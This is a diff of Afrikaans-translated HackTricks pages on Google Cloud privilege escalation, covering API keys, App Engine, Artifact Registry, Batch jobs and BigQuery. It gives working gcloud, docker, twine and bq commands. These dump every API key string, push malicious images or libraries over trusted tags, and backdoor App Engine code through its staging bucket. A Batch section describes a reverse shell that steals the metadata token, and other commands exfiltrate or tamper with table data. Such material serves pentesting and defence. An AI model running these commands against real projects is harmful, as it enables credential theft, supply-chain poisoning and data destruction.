||||
}
|
||||
```
|
||||
U kan 'n skrif vind om die [**skepping, benutting en skoonmaak van 'n kwesbare omgewing hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh).
|
||||
</details>
|
||||
|
||||
Jy kan 'n skrip vind om die [**skep, exploit en skoonmaak van 'n vuln-omgewing hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh).
|
||||
|
||||
> [!CAUTION]
|
||||
> Let daarop dat gebruikers standaard toestemming het om nuwe projekte te skep en hulle die eienaarrol oor die nuwe projek toegeken word. So 'n gebruiker kan 'n **projek skep en 'n API-sleutel binne hierdie projek**.
|
||||
> Let wel dat gebruikers standaard toestemming het om nuwe projekte te skep en hulle word die Owner-rol oor die nuwe projek gegee. Dus kan 'n gebruiker c**skep 'n projek en 'n API-sleutel binne hierdie projek**.
|
||||
|
||||
### `apikeys.keys.getKeyString` , `apikeys.keys.list` <a href="#apikeys.keys.getkeystringapikeys.keys.list" id="apikeys.keys.getkeystringapikeys.keys.list"></a>
|
||||
|
||||
Hierdie toestemmings laat **lys en kry al die apiKeys en kry die Sleutel** toe:
|
||||
Hierdie permissies laat toe om **alle apiKeys te lys en die Key te kry**:
|
||||
|
||||
<details>
|
||||
<summary>Lys en haal alle API-sleutels op</summary>
|
||||
```bash
|
||||
for key in $(gcloud services api-keys list --uri); do
|
||||
gcloud services api-keys get-key-string "$key"
|
||||
done
|
||||
```
|
||||
U kan 'n skrif vind om die [**skepping, benutting en skoonmaak van 'n kwesbare omgewing hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh).
|
||||
</details>
|
||||
|
||||
Jy kan 'n skrip vind om die [**skep, exploit en skoonmaak van 'n vuln environment hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh) te outomatiseer.
|
||||
|
||||
### `apikeys.keys.undelete` , `apikeys.keys.list` <a href="#serviceusage.apikeys.regenerateapikeys.keys.list" id="serviceusage.apikeys.regenerateapikeys.keys.list"></a>
|
||||
|
||||
Hierdie toestemmings laat jou toe om **verwyderde API sleutels te lys en te hernu**. Die **API sleutel word in die uitvoer gegee** nadat die **undelete** gedoen is:
|
||||
Hierdie toestemmings laat jou toe om **verwyderde api keys te lys en te hergenereer**. Die **API key word in die output gegee** nadat die **undelete** voltooi is:
|
||||
|
||||
<details>
|
||||
<summary>Lys en herstel verwyderde API keys</summary>
|
||||
```bash
|
||||
gcloud services api-keys list --show-deleted
|
||||
gcloud services api-keys undelete <key-uid>
|
||||
```
|
||||
### Skep Interne OAuth-toepassing om ander werkers te phishing
|
||||
</details>
|
||||
|
||||
Kyk na die volgende bladsy om te leer hoe om dit te doen, alhoewel hierdie aksie aan die diens **`clientauthconfig`** behoort [volgens die dokumentasie](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
|
||||
### Skep 'n interne OAuth-toepassing om ander werknemers te phish
|
||||
|
||||
Kyk na die volgende bladsy om te leer hoe om dit te doen, alhoewel hierdie aksie behoort tot die diens **`clientauthconfig`** [volgens die dokumentasie](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
|
||||
|
||||
{{#ref}}
|
||||
../../workspace-security/gws-google-platforms-phishing/
|
||||
|
||||
+45
-20
@@ -4,7 +4,7 @@
|
||||
|
||||
## App Engine
|
||||
|
||||
Vir meer inligting oor App Engine, kyk:
|
||||
Vir meer inligting oor App Engine, sien:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-app-engine-enum.md
|
||||
@@ -12,26 +12,34 @@ Vir meer inligting oor App Engine, kyk:
|
||||
|
||||
### `appengine.applications.get`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.operations.list`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.create`, `appengine.versions.get`, `appengine.versions.list`, `cloudbuild.builds.get`,`iam.serviceAccounts.actAs`, `resourcemanager.projects.get`, `storage.objects.create`, `storage.objects.list`
|
||||
|
||||
Dit is die nodige toestemmings om **'n App te ontplooi met `gcloud` cli**. Miskien kan die **`get`** en **`list`** eenhede **vermy** word.
|
||||
Dit is die nodige toestemmings om **'n App te ontplooi met die `gcloud` cli**. Miskien kan die **`get`** en **`list`** permissies **vermyd** word.
|
||||
|
||||
Jy kan python kode voorbeelde vind in [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine)
|
||||
Jy kan python-codevoorbeelde vind by [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine)
|
||||
|
||||
Standaard sal die naam van die App diens **`default`** wees, en daar kan slegs 1 instansie met dieselfde naam wees.\
|
||||
Om dit te verander en 'n tweede App te skep, verander die waarde van die wortelsleutel in **`app.yaml`** na iets soos **`service: my-second-app`**
|
||||
Standaard sal die naam van die App-diens **`default`** wees, en daar kan net 1 instansie met dieselfde naam wees.\
|
||||
Om dit te verander en 'n tweede App te skep, in **`app.yaml`**, verander die waarde van die wortelsleutel na iets soos **`service: my-second-app`**
|
||||
|
||||
<details>
|
||||
<summary>Ontplooi App Engine-toepassing</summary>
|
||||
```bash
|
||||
cd python-docs-samples/appengine/flexible/hello_world
|
||||
gcloud app deploy #Upload and start application inside the folder
|
||||
```
|
||||
Gee dit ten minste 10-15 minute, as dit nie werk nie, bel **ontplooi 'n ander keer** en wag 'n paar minute.
|
||||
</details>
|
||||
|
||||
Gee dit ten minste 10–15 minute; as dit nie werk nie, probeer **deploy weer 'n paar keer** en wag 'n paar minute.
|
||||
|
||||
> [!NOTE]
|
||||
> Dit is **moontlik om die Diensrekening aan te dui wat gebruik moet word** maar standaard word die App Engine standaard DR gebruik.
|
||||
> Dit is **moontlik om die Service Account wat gebruik moet word aan te dui**, maar standaard word die App Engine default SA gebruik.
|
||||
|
||||
Die URL van die toepassing is iets soos `https://<proj-name>.oa.r.appspot.com/` of `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
|
||||
|
||||
### Werk gelyke regte op
|
||||
### Werk ekwivalente toestemmings by
|
||||
|
||||
Jy mag genoeg regte hê om 'n AppEngine op te dateer, maar nie om 'n nuwe een te skep nie. In daardie geval is dit hoe jy die huidige App Engine kan opdateer:
|
||||
Jy mag genoeg toestemmings hê om 'n AppEngine op te dateer maar nie om 'n nuwe een te skep nie. In daardie geval, so kan jy die huidige App Engine opdateer:
|
||||
|
||||
<details>
|
||||
<summary>Werk bestaande App Engine-toepassing by</summary>
|
||||
```bash
|
||||
# Find the code of the App Engine in the buckets
|
||||
gsutil ls
|
||||
@@ -62,41 +70,58 @@ gcloud app deploy
|
||||
# Update the SA if you need it (and if you have actas permissions)
|
||||
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
|
||||
```
|
||||
As jy **reeds 'n AppEngine gekompromitteer het** en jy het die toestemming **`appengine.applications.update`** en **actAs** oor die diensrekening wat jy kan gebruik, kan jy die diensrekening wat deur AppEngine gebruik word, met die volgende wysig:
|
||||
</details>
|
||||
|
||||
As jy **alreeds 'n AppEngine gekompromitteer het** en jy het die toestemming **`appengine.applications.update`** en **actAs** oor die service account wat jy gebruik, kan jy die service account wat deur AppEngine gebruik word wysig met:
|
||||
|
||||
<details>
|
||||
<summary>Bywerk App Engine service account</summary>
|
||||
```bash
|
||||
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
|
||||
```
|
||||
</details>
|
||||
|
||||
### `appengine.instances.enableDebug`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.get`, `appengine.versions.list`, `compute.projects.get`
|
||||
|
||||
Met hierdie toestemmings is dit moontlik om **in te log via ssh in App Engine instansies** van tipe **flexible** (nie standaard nie). Sommige van die **`list`** en **`get`** toestemmings **mag nie werklik nodig wees nie**.
|
||||
Met hierdie permissies is dit moontlik om **login via ssh in App Engine instances** van die tipe **flexible** (nie **standard** nie). Sommige van die **`list`** en **`get`** permissies **is dalk nie regtig nodig nie**.
|
||||
|
||||
<details>
|
||||
<summary>SSH na App Engine instansie</summary>
|
||||
```bash
|
||||
gcloud app instances ssh --service <app-name> --version <version-id> <ID>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `appengine.applications.update`, `appengine.operations.get`
|
||||
|
||||
Ek dink dit verander net die agtergrond SA wat Google sal gebruik om die toepassings op te stel, so ek dink nie jy kan dit misbruik om die diensrekening te steel nie.
|
||||
Ek dink dit verander net die agtergrond-SA wat google sal gebruik om die toepassings op te stel, so ek dink nie jy kan dit misbruik om die service account te steel nie.
|
||||
|
||||
<details>
|
||||
<summary>Werk toepassing se service account by</summary>
|
||||
```bash
|
||||
gcloud app update --service-account=<sa_email>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `appengine.versions.getFileContents`, `appengine.versions.update`
|
||||
|
||||
Nie seker hoe om hierdie toestemmings te gebruik of of hulle nuttig is nie (let daarop dat wanneer jy die kode verander, 'n nuwe weergawe geskep word, so ek weet nie of jy net die kode of die IAM-rol van een kan opdateer nie, maar ek raai jy behoort in staat te wees om dit te doen, dalk deur die kode binne die emmer te verander??).
|
||||
Nie seker hoe om hierdie permissies te gebruik of of hulle nuttig is nie (let daarop dat wanneer jy die kode verander 'n nuwe weergawe geskep word, so ek weet nie of jy net die kode of die IAM-rol van een kan opdateer nie, maar ek raai jy behoort dit te kan, dalk deur die kode binne die bucket te verander??).
|
||||
|
||||
### Skryftoegang oor die emmers
|
||||
### Write Access over the buckets
|
||||
|
||||
Soos genoem, genereer die appengine weergawes 'n paar data binne 'n emmer met die formaat naam: `staging.<project-id>.appspot.com`. Let daarop dat dit nie moontlik is om hierdie emmer vooraf oor te neem nie, omdat GCP-gebruikers nie gemagtig is om emmers te genereer met die domeinnaam `appspot.com` nie.
|
||||
Soos genoem genereer die appengine versions sekere data binne 'n bucket met die formaatnaam: `staging.<project-id>.appspot.com`. Let daarop dat dit nie moontlik is om hierdie bucket vooraf oor te neem nie omdat GCP gebruikers nie gemagtig is om buckets te skep wat die domeinnaam `appspot.com` gebruik nie.
|
||||
|
||||
Met lees- en skryftoegang oor hierdie emmer, is dit egter moontlik om voorregte te verhoog na die SA wat aan die AppEngine-weergawe geheg is deur die emmer te monitor en enige tyd wanneer 'n verandering gemaak word, die kode so vinnig as moontlik te verander. Op hierdie manier sal die houer wat uit hierdie kode geskep word **die agterdeurkode uitvoer**.
|
||||
Ewenwel, met lees- en skryftoegang tot hierdie bucket is dit moontlik om voorregte op te skerp na die SA wat aan die AppEngine version gekoppel is deur die bucket te monitor en elke keer as 'n verandering aangebring word, so gou moontlik die kode te wysig. Op hierdie manier sal die kontainer wat uit hierdie kode geskep word die **kode met 'n agterdeur uitvoer**.
|
||||
|
||||
Vir meer inligting en 'n **PoC kyk na die relevante inligting van hierdie bladsy**:
|
||||
Vir meer inligting en 'n **PoC, kyk die relevante inligting op hierdie bladsy**:
|
||||
|
||||
{{#ref}}
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Skryftoegang oor die Artefakregistrasie
|
||||
### Write Access over the Artifact Registry
|
||||
|
||||
Alhoewel App Engine docker-beelde binne Artefakregistrasie skep. Dit is getoets dat **selfs al jy die beeld binne hierdie diens verander** en die App Engine-instantie verwyder (sodat 'n nuwe een ontplooi word) die **kode wat uitgevoer word, nie verander nie**.\
|
||||
Dit mag moontlik wees dat 'n **Race Condition-aanval soos met die emmers moontlik is om die uitgevoerde kode te oorskryf**, maar dit is nie getoets nie.
|
||||
Alhoewel App Engine docker images binne Artifact Registry skep, is dit getoets dat **selfs as jy die image binne hierdie diens wysig** en die App Engine instance verwyder (sodat 'n nuwe een ontplooi word) die **uitgevoerde kode nie verander nie**.\
|
||||
Dit kan moontlik wees dat deur 'n **Race Condition attack soos met die buckets dit moontlik is om die uitgevoerde kode oor te skryf**, maar dit is nie getoets nie.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+88
-30
@@ -1,10 +1,10 @@
|
||||
# GCP - Artefak Registrasie Privesc
|
||||
# GCP - Artifact Registry Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Artefak Registrasie
|
||||
## Artifact Registry
|
||||
|
||||
Vir meer inligting oor Artefak Registrasie, kyk:
|
||||
Vir meer inligting oor Artifact Registry sien:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-artifact-registry-enum.md
|
||||
@@ -12,7 +12,10 @@ Vir meer inligting oor Artefak Registrasie, kyk:
|
||||
|
||||
### artifactregistry.repositories.uploadArtifacts
|
||||
|
||||
Met hierdie toestemming kan 'n aanvaller nuwe weergawes van die artefakte met kwaadwillige kode soos Docker beelde oplaai:
|
||||
Met hierdie toestemming kan 'n aanvaller nuwe weergawes van die artefakte met kwaadwillige kode, soos Docker-images, oplaai:
|
||||
|
||||
<details>
|
||||
<summary>Laai Docker-image op na Artifact Registry</summary>
|
||||
```bash
|
||||
# Configure docker to use gcloud to authenticate with Artifact Registry
|
||||
gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
@@ -23,20 +26,25 @@ docker tag <local-img-name>:<local-tag> <location>-docker.pkg.dev/<proj-name>/<r
|
||||
# Upload it
|
||||
docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> Dit is nagegaan dat dit **moontlik is om 'n nuwe kwaadwillige docker** beeld op te laai met dieselfde naam en etiket as die een wat reeds teenwoordig is, so die **ou een sal die etiket verloor** en die volgende keer dat daardie beeld met daardie etiket **afgelaai word, sal die kwaadwillige een** afgelaai word.
|
||||
> Daar is getoets dat dit **moontlik is om 'n nuwe kwaadwillige docker** image op te laai met dieselfde naam en tag as die een wat reeds bestaan, sodat die **oude een die tag sal verloor** en die volgende keer dat daardie image met daardie tag **afgehaal word die kwaadwillige een afgelaai sal word**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Laai 'n Python-biblioteek op</summary>
|
||||
|
||||
**Begin deur die biblioteek te skep om op te laai** (as jy die nuutste weergawe van die registrasie kan aflaai, kan jy hierdie stap vermy):
|
||||
**Begin deur die biblioteek te skep wat jy wil oplaai** (as jy die nuutste weergawe van die registry kan aflaai kan jy hierdie stap oorskiet):
|
||||
|
||||
1. **Stel jou projekstruktuur op**:
|
||||
|
||||
- Skep 'n nuwe gids vir jou biblioteek, byvoorbeeld, `hello_world_library`.
|
||||
- Binne hierdie gids, skep 'n ander gids met jou pakketnaam, byvoorbeeld, `hello_world`.
|
||||
- Binne jou pakketgids, skep 'n `__init__.py` lêer. Hierdie lêer kan leeg wees of kan inisiatiewe vir jou pakket bevat.
|
||||
- Skep 'n nuwe gids vir jou biblioteek, bv. `hello_world_library`.
|
||||
- Binne hierdie gids, skep nog 'n gids met jou pakketnaam, bv. `hello_world`.
|
||||
- Binne jou pakketgids, skep 'n `__init__.py`-lêer. Hierdie lêer kan leeg wees of inisialisasies vir jou pakket bevat.
|
||||
|
||||
<details>
|
||||
<summary>Create project structure</summary>
|
||||
|
||||
```bash
|
||||
mkdir hello_world_library
|
||||
@@ -45,10 +53,15 @@ mkdir hello_world
|
||||
touch hello_world/__init__.py
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
2. **Skryf jou biblioteekkode**:
|
||||
|
||||
- Binne die `hello_world` gids, skep 'n nuwe Python-lêer vir jou module, byvoorbeeld, `greet.py`.
|
||||
- Skryf jou "Hello, World!" funksie:
|
||||
- Binne die `hello_world`-gids, skep 'n nuwe Python-lêer vir jou module, bv. `greet.py`.
|
||||
- Skryf jou "Hello, World!"-funksie:
|
||||
|
||||
<details>
|
||||
<summary>Create library module</summary>
|
||||
|
||||
```python
|
||||
# hello_world/greet.py
|
||||
@@ -56,11 +69,16 @@ def say_hello():
|
||||
return "Hello, World!"
|
||||
```
|
||||
|
||||
3. **Skep 'n `setup.py` lêer**:
|
||||
</details>
|
||||
|
||||
- In die wortel van jou `hello_world_library` gids, skep 'n `setup.py` lêer.
|
||||
3. **Skep 'n `setup.py`-lêer**:
|
||||
|
||||
- In die wortel van jou `hello_world_library`-gids, skep 'n `setup.py`-lêer.
|
||||
- Hierdie lêer bevat metadata oor jou biblioteek en vertel Python hoe om dit te installeer.
|
||||
|
||||
<details>
|
||||
<summary>Create setup.py file</summary>
|
||||
|
||||
```python
|
||||
# setup.py
|
||||
from setuptools import setup, find_packages
|
||||
@@ -70,47 +88,70 @@ name='hello_world',
|
||||
version='0.1',
|
||||
packages=find_packages(),
|
||||
install_requires=[
|
||||
# Enige afhanklikhede wat jou biblioteek benodig
|
||||
# Any dependencies your library needs
|
||||
],
|
||||
)
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
**Nou, kom ons laai die biblioteek op:**
|
||||
|
||||
1. **Bou jou pakket**:
|
||||
|
||||
- Van die wortel van jou `hello_world_library` gids, hardloop:
|
||||
- Vanaf die wortel van jou `hello_world_library`-gids, voer uit:
|
||||
|
||||
<details>
|
||||
<summary>Build Python package</summary>
|
||||
|
||||
```sh
|
||||
python3 setup.py sdist bdist_wheel
|
||||
```
|
||||
|
||||
2. **Konfigureer outentisering vir twine** (gebruik om jou pakket op te laai):
|
||||
- Verseker dat jy `twine` geïnstalleer het (`pip install twine`).
|
||||
- Gebruik `gcloud` om akrediteer te konfigureer:
|
||||
````
|
||||
</details>
|
||||
|
||||
2. **Konfigureer verifikasie vir twine** (wat gebruik word om jou pakket op te laai):
|
||||
- Maak seker jy het `twine` geïnstalleer (`pip install twine`).
|
||||
- Gebruik `gcloud` om geloofsbriewe te konfigureer:
|
||||
|
||||
<details>
|
||||
<summary>Upload package with twine</summary>
|
||||
```sh
|
||||
twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://<location>-python.pkg.dev/<project-id>/<repo-name>/ dist/*
|
||||
```
|
||||
````
|
||||
3. **Skoon die bou**
|
||||
</details>
|
||||
|
||||
3. **Maak die build skoon**
|
||||
|
||||
<details>
|
||||
<summary>Maak build-artefakte skoon</summary>
|
||||
```bash
|
||||
rm -rf dist build hello_world.egg-info
|
||||
```
|
||||
</details>
|
||||
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> Dit is nie moontlik om 'n python biblioteek met dieselfde weergawe as die een wat reeds teenwoordig is, op te laai nie, maar dit is moontlik om **groter weergawes** op te laai (of 'n ekstra **`.0` aan die einde** van die weergawe by te voeg as dit werk - nie in python nie), of om die **laaste weergawe te verwyder en 'n nuwe een op te laai met** (benodigde `artifactregistry.versions.delete)`**:**
|
||||
> Dit is nie moontlik om 'n python-biblioteek met dieselfde weergawe as die een wat reeds daar is op te laai nie, maar dit is moontlik om **hoër weergawes** op te laai (of 'n ekstra **`.0` aan die einde** van die weergawe by te voeg indien dit werk — nie in python nie), of om die **laaste weergawe te verwyder en 'n nuwe een op te laai** (benodig `artifactregistry.versions.delete`):
|
||||
>
|
||||
> <details>
|
||||
> <summary>Verwyder artefakweergawe</summary>
|
||||
>
|
||||
> ```sh
|
||||
> gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
|
||||
> ```
|
||||
>
|
||||
> </details>
|
||||
|
||||
### `artifactregistry.repositories.downloadArtifacts`
|
||||
|
||||
Met hierdie toestemming kan jy **artefakte aflaai** en soek na **sensitiewe inligting** en **kwesbaarhede**.
|
||||
|
||||
Laai 'n **Docker** beeld af:
|
||||
|
||||
<details>
|
||||
<summary>Laai Docker-beeld van Artifact Registry af</summary>
|
||||
```sh
|
||||
# Configure docker to use gcloud to authenticate with Artifact Registry
|
||||
gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
@@ -118,11 +159,18 @@ gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
# Dowload image
|
||||
docker pull <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
```
|
||||
Laai 'n **python** biblioteek af:
|
||||
</details>
|
||||
|
||||
Laai 'n **python**-biblioteek af:
|
||||
|
||||
<details>
|
||||
<summary>Laai Python-biblioteek vanaf Artifact Registry af</summary>
|
||||
```bash
|
||||
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
|
||||
```
|
||||
- Wat gebeur as 'n afstands- en 'n standaard registries in 'n virtuele een gemeng word en 'n pakket in albei bestaan? Kyk na hierdie bladsy:
|
||||
</details>
|
||||
|
||||
- Wat gebeur as 'n remote- en 'n standaard-register in 'n virtuele een gemeng word en 'n pakket in albei bestaan? Kyk hierdie bladsy:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-artifact-registry-persistence.md
|
||||
@@ -130,30 +178,40 @@ pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth prin
|
||||
|
||||
### `artifactregistry.tags.delete`, `artifactregistry.versions.delete`, `artifactregistry.packages.delete`, (`artifactregistry.repositories.get`, `artifactregistry.tags.get`, `artifactregistry.tags.list`)
|
||||
|
||||
Verwyder artefakte uit die registrasie, soos docker beelde:
|
||||
Verwyder artefakte uit die register, soos Docker images:
|
||||
|
||||
<details>
|
||||
<summary>Verwyder Docker image vanaf Artifact Registry</summary>
|
||||
```bash
|
||||
# Delete a docker image
|
||||
gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `artifactregistry.repositories.delete`
|
||||
|
||||
Verwyder 'n volledige repository (selfs al het dit inhoud):
|
||||
|
||||
<details>
|
||||
<summary>Verwyder Artifact Registry repository</summary>
|
||||
```
|
||||
gcloud artifacts repositories delete <repo-name> --location=<location>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `artifactregistry.repositories.setIamPolicy`
|
||||
|
||||
'n Aanvaller met hierdie toestemming kan homself toestemming gee om sommige van die voorheen genoemde repository-aanvalle uit te voer.
|
||||
'n Aanvaller met hierdie toestemming kan homself toestemmings gee om sommige van die voorafgenoemde repository-aanvalle uit te voer.
|
||||
|
||||
### Pivoting na ander Dienste deur Artifact Registry Lees & Skryf
|
||||
### Pivoting na ander dienste deur Artifact Registry Read & Write
|
||||
|
||||
- **Cloud Functions**
|
||||
|
||||
Wanneer 'n Cloud Function geskep word, word 'n nuwe docker beeld na die Artifact Registry van die projek gepush. Ek het probeer om die beeld met 'n nuwe een te wysig, en selfs die huidige beeld (en die `cache` beeld) te verwyder, en niks het verander nie, die cloud function het voortgegaan om te werk. Daarom, miskien **kan dit moontlik wees om 'n Race Condition aanval te misbruik** soos met die emmer om die docker houer wat uitgevoer sal word te verander, maar **net deur die gestoor beeld te wysig is dit nie moontlik om die Cloud Function te kompromitteer nie**.
|
||||
Wanneer 'n Cloud Function geskep word, word 'n nuwe docker image na die Artifact Registry van die projek gestoot. Ek het probeer om die image te vervang met 'n nuwe een, en selfs die huidige image (en die `cache` image) te verwyder, maar niks het verander nie; die Cloud Function het voortgegaan om te werk. Daarom is dit dalk moontlik om 'n **Race Condition attack** te misbruik soos met die bucket om die docker container wat uitgevoer sal word te verander, maar **slegs die wysiging van die gestoorde image maak nie die Cloud Function kwesbaar nie**.
|
||||
|
||||
- **App Engine**
|
||||
|
||||
Alhoewel App Engine docker beelde binne Artifact Registry skep. Dit is getoets dat **selfs as jy die beeld binne hierdie diens wysig** en die App Engine instansie verwyder (sodat 'n nuwe een ontplooi word) die **kode wat uitgevoer word nie verander nie**.\
|
||||
Dit mag moontlik wees dat die uitvoering van 'n **Race Condition aanval soos met die emmers dit moontlik mag wees om die uitgevoerde kode te oorskryf**, maar dit is nie getoets nie.
|
||||
Alhoewel App Engine docker images binne Artifact Registry skep, is dit getoets dat **selfs as jy die image binne hierdie diens wysig** en die App Engine-instance verwyder (sodat 'n nuwe een gedeploy word), die **uitgevoerde kode nie verander nie**.\
|
||||
Dit mag moontlik wees dat deur 'n **Race Condition attack soos met die buckets dit moontlik is om die uitgevoerde kode oor te skryf**, maar dit is nie getoets nie.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,10 @@ Basiese inligting:
|
||||
|
||||
### `batch.jobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Dit is moontlik om 'n batch werk te skep, 'n omgekeerde shell te kry en die metadata token van die SA (compute SA per standaard) te exfiltreer.
|
||||
Dit is moontlik om 'n batch job te skep, 'n reverse shell te kry en die metadata token van die SA (compute SA standaard) te onttrek.
|
||||
|
||||
<details>
|
||||
<summary>Skep Batch job met reverse shell</summary>
|
||||
```bash
|
||||
gcloud beta batch jobs submit job-lxo3b2ub --location us-east1 --config - <<EOD
|
||||
{
|
||||
@@ -53,4 +56,6 @@ gcloud beta batch jobs submit job-lxo3b2ub --location us-east1 --config - <<EOD
|
||||
}
|
||||
EOD
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+58
-13
@@ -4,7 +4,7 @@
|
||||
|
||||
## BigQuery
|
||||
|
||||
Vir meer inligting oor BigQuery, kyk:
|
||||
Vir meer inligting oor BigQuery, sien:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigquery-enum.md
|
||||
@@ -12,21 +12,34 @@ Vir meer inligting oor BigQuery, kyk:
|
||||
|
||||
### Lees Tabel
|
||||
|
||||
Deur die inligting wat in 'n BigQuery-tabel gestoor is, te lees, mag dit moontlik wees om s**ensitiewe inligting** te vind. Om toegang tot die inligting te verkry, is die nodige toestemmings **`bigquery.tables.get`**, **`bigquery.jobs.create`** en **`bigquery.tables.getData`**:
|
||||
Om die inligting wat binne 'n BigQuery-tabel gestoor is te lees, kan dit moontlik wees om s**ensitiewe inligting** te vind. Om by die inligting uit te kom, is die volgende toestemmings nodig: **`bigquery.tables.get`**, **`bigquery.jobs.create`** en **`bigquery.tables.getData`**:
|
||||
|
||||
<details>
|
||||
<summary>Lees BigQuery tabeldata</summary>
|
||||
```bash
|
||||
bq head <dataset>.<table>
|
||||
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
|
||||
```
|
||||
### Export data
|
||||
</details>
|
||||
|
||||
Dit is 'n ander manier om toegang tot die data te verkry. **Eksporteer dit na 'n wolk stoor emmer** en **aflaai die lêers** met die inligting.\
|
||||
Om hierdie aksie uit te voer, is die volgende toestemmings nodig: **`bigquery.tables.export`**, **`bigquery.jobs.create`** en **`storage.objects.create`**.
|
||||
### Eksporteer data
|
||||
|
||||
Dit is 'n ander manier om toegang tot die data te kry. **Eksporteer dit na 'n cloud storage bucket** en **laai die lêers af** met die inligting.\
|
||||
Om hierdie aksie uit te voer is die volgende permissies benodig: **`bigquery.tables.export`**, **`bigquery.jobs.create`** en **`storage.objects.create`**.
|
||||
|
||||
<details>
|
||||
<summary>Eksporteer BigQuery-tabel na Cloud Storage</summary>
|
||||
```bash
|
||||
bq extract <dataset>.<table> "gs://<bucket>/table*.csv"
|
||||
```
|
||||
</details>
|
||||
|
||||
### Voeg data in
|
||||
|
||||
Dit mag moontlik wees om **sekere vertroude data** in 'n Bigquery-tabel in te voer om 'n **kwesbaarheid op 'n ander plek te misbruik.** Dit kan maklik gedoen word met die toestemmings **`bigquery.tables.get`**, **`bigquery.tables.updateData`** en **`bigquery.jobs.create`**:
|
||||
Dit kan moontlik wees om sekere vertroude data in 'n BigQuery tabel in te voeg om 'n kwesbaarheid elders te misbruik. Dit kan maklik gedoen word met die toestemmings **`bigquery.tables.get`**, **`bigquery.tables.updateData`** en **`bigquery.jobs.create`**:
|
||||
|
||||
<details>
|
||||
<summary>Voeg data in 'n BigQuery-tabel</summary>
|
||||
```bash
|
||||
# Via query
|
||||
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
|
||||
@@ -34,9 +47,14 @@ bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank,
|
||||
# Via insert param
|
||||
bq insert dataset.table /tmp/mydata.json
|
||||
```
|
||||
</details>
|
||||
|
||||
### `bigquery.datasets.setIamPolicy`
|
||||
|
||||
'n Aanvaller kan hierdie voorreg misbruik om **vir homself verdere toestemmings** oor 'n BigQuery-dataset te gee:
|
||||
'n aanvaller kan hierdie voorreg misbruik om **homself verdere toestemmings** oor 'n BigQuery dataset te gee:
|
||||
|
||||
<details>
|
||||
<summary>Set IAM policy on BigQuery dataset</summary>
|
||||
```bash
|
||||
# For this you also need bigquery.tables.getIamPolicy
|
||||
bq add-iam-policy-binding \
|
||||
@@ -46,9 +64,14 @@ bq add-iam-policy-binding \
|
||||
|
||||
# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy
|
||||
```
|
||||
</details>
|
||||
|
||||
### `bigquery.datasets.update`, (`bigquery.datasets.get`)
|
||||
|
||||
Net hierdie toestemming laat jou toe om **jou toegang oor 'n BigQuery-dataset te werk deur die ACLs te wysig** wat aandui wie toegang daartoe het:
|
||||
Net hierdie toestemming maak dit moontlik om **jou toegang tot 'n BigQuery-dataset by te werk deur die ACLs te wysig** wat aandui wie toegang daartoe het:
|
||||
|
||||
<details>
|
